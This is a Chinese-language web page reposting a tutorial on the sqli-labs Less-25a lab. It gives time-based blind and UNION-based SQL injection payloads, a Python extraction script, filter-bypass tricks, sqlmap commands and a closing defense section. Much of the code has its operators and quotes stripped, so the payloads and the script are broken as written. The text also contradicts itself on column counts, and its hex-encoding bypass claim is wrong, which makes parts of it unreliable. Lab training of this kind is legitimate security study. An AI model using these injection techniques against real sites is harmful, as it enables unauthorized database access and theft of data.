星点匠心建站 星点匠心建站XD JIANXIN STUDIO
400-883-9527 免费定制方案
ARTICLE DETAIL

资讯详情

深耕新锐建站与运营推广的一线实战洞察。

SQL注入实战:sqli-labs Less-25a的时间盲注与联合查询技术

SQL注入实战:sqli-labs Less-25a的时间盲注与联合查询技术 1. 理解sqli-labs Less-25a的核心特点Less-25a是sqli-labs靶场中一个典型的SQL注入挑战关卡与Less-25相比有几个关键差异点需要特别注意。这个关卡的设计初衷是模拟真实环境中开发者对用户输入处理不严谨但又有一定防护措施的场景。首先Less-25a的SQL查询语句中对于id参数的处理没有使用单引号包裹这意味着我们不需要考虑闭合引号的问题。在实际测试中你会发现直接提交?id1和?id1的效果是相同的——后者不会引发语法错误。这种场景在现实开发中并不少见特别是当开发者使用数字型参数但又没有严格类型检查时。另一个重要区别是Less-25a没有输出详细的错误信息这使得传统的报错注入技术如基于extractvalue、updatexml等函数的注入无法发挥作用。这种设计模拟了生产环境中关闭错误回显的安全实践迫使攻击者寻找其他注入途径。提示在实际渗透测试中遇到没有错误回显的情况非常普遍这时候就需要转向盲注或基于时间的注入技术。2. Less-25a的两种有效注入方法2.1 基于时间的盲注技术由于没有错误回显时间盲注成为攻克Less-25a的可靠选择。这种方法的核心原理是通过构造特定的SQL语句根据数据库响应时间的差异来判断注入是否成功。一个典型的时间盲注payload如下?id1 AND IF(ASCII(SUBSTRING(database(),1,1))115,SLEEP(5),0)这个payload的工作原理是SUBSTRING(database(),1,1)获取当前数据库名称的第一个字符ASCII()函数将该字符转换为ASCII码IF()函数判断这个ASCII码是否等于115即字母s的ASCII码如果条件成立执行SLEEP(5)使数据库暂停5秒通过观察页面响应时间可以判断条件是否为真在实际操作中你需要逐步测试每个字符这可以通过编写脚本自动化完成。Python中可以使用requests库配合时间测量来实现import requests import time url http://127.0.0.1/sqllib/Less-25a/ charset abcdefghijklmnopqrstuvwxyz result for i in range(1, 20): for c in charset: payload f?id1 AND IF(ASCII(SUBSTRING(database(),{i},1)){ord(c)},SLEEP(3),0) start time.time() requests.get(url payload) if time.time() - start 3: result c print(fFound: {result}) break2.2 联合查询注入技术虽然Less-25a限制了错误回显但如果页面会显示正常查询结果联合查询注入仍然是可行的。关键在于确定查询返回的列数然后构造合适的UNION SELECT语句。确定列数的经典方法是使用ORDER BY?id1 ORDER BY 3-- ?id1 ORDER BY 4--当ORDER BY的数字超过实际列数时页面会出现异常虽然可能不显示具体错误但内容会变化。通过这种方式可以确定列数为3。然后构造联合查询?id-1 UNION SELECT 1,version,3--这里有几个技术要点使用-1确保前一个查询不返回结果只显示UNION后的结果version是MySQL的系统变量用于获取数据库版本信息--是SQL注释符确保后续语句不被执行3. 绕过过滤机制的关键技巧Less-25a关卡对某些关键词进行了过滤特别是AND和OR。这种过滤在现实Web应用中也很常见开发者试图通过黑名单方式阻止SQL注入。3.1 使用逻辑运算符替代MySQL支持||和作为逻辑运算符可以替代被过滤的OR和AND?id1 || 11 --这个payload等同于OR 11会返回所有记录。同样可以使用?id1 11 --这等同于AND 11。3.2 大小写变形和注释混淆有时候简单的关键词过滤可以通过改变大小写来绕过?id1 aNd 11 --或者使用注释分割关键词?id1 /*!AND*/ 11 --MySQL支持特殊的注释语法/*!...*/其中的内容会被MySQL解析但可能被其他数据库忽略。3.3 十六进制编码对于更严格的过滤可以考虑使用十六进制编码?id1 0x414e4420 11 --这里0x414e4420是AND 的十六进制表示。4. 实战中的信息收集策略在成功注入后系统性的信息收集至关重要。以下是一些关键查询及其用途4.1 数据库基本信息?id-1 UNION SELECT 1,version,datadir,3--version数据库版本datadir数据存储目录basedirMySQL安装目录4.2 获取所有数据库名?id-1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--information_schema.schemata表包含所有数据库的信息。4.3 获取当前数据库表名?id-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()--4.4 获取表字段?id-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameusers--注意在实际测试中如果单引号被过滤可以使用十六进制表示表名如0x7573657273表示users。5. 防御措施与安全建议作为开发者了解攻击技术的同时更应该知道如何防御。针对Less-25a展示的注入类型以下防护措施至关重要5.1 参数化查询始终使用预处理语句和参数化查询这是防止SQL注入的最有效方法。以PHP为例$stmt $conn-prepare(SELECT * FROM users WHERE id ?); $stmt-bind_param(i, $id); $stmt-execute();5.2 严格的输入验证对于数字型参数确保输入确实是数字$id is_numeric($_GET[id]) ? $_GET[id] : 0;5.3 最小权限原则数据库用户应该只有必要的最小权限。不要使用root账户连接Web应用。5.4 错误处理生产环境应该关闭详细的错误回显但需要记录到安全日志中ini_set(display_errors, 0); ini_set(log_errors, 1);5.5 Web应用防火墙部署WAF可以阻止常见的注入模式但不应作为唯一防线。6. 自动化测试工具实战对于重复性的注入测试可以使用sqlmap等自动化工具。针对Less-25a的基本命令如下sqlmap -u http://127.0.0.1/sqllib/Less-25a/?id1 --techniqueT --dbmsmysql参数说明--techniqueT指定使用时间盲注技术--dbmsmysql指定目标数据库类型对于有过滤的情况可以尝试绕过技巧sqlmap -u http://127.0.0.1/sqllib/Less-25a/?id1 --tamperspace2comment --level3--tamperspace2comment将空格替换为注释7. 从Less-25a中学到的核心经验通过这个关卡的实践我总结了几点重要经验没有错误回显不意味着无法注入时间盲注是非常有效的手段关键词过滤往往可以通过多种方式绕过黑名单机制不可靠信息收集要系统化从版本信息到数据库结构逐步深入自动化工具可以节省时间但理解原理才能应对特殊情况防御措施需要多层配合单一防护容易被绕过在实际渗透测试中遇到类似Less-25a的情况时耐心和系统性是关键。先确定注入点类型然后选择合适的注入技术最后逐步提取所需信息。同时作为开发者更应该从这些攻击手法中学习如何构建更安全的应用程序。
返回列表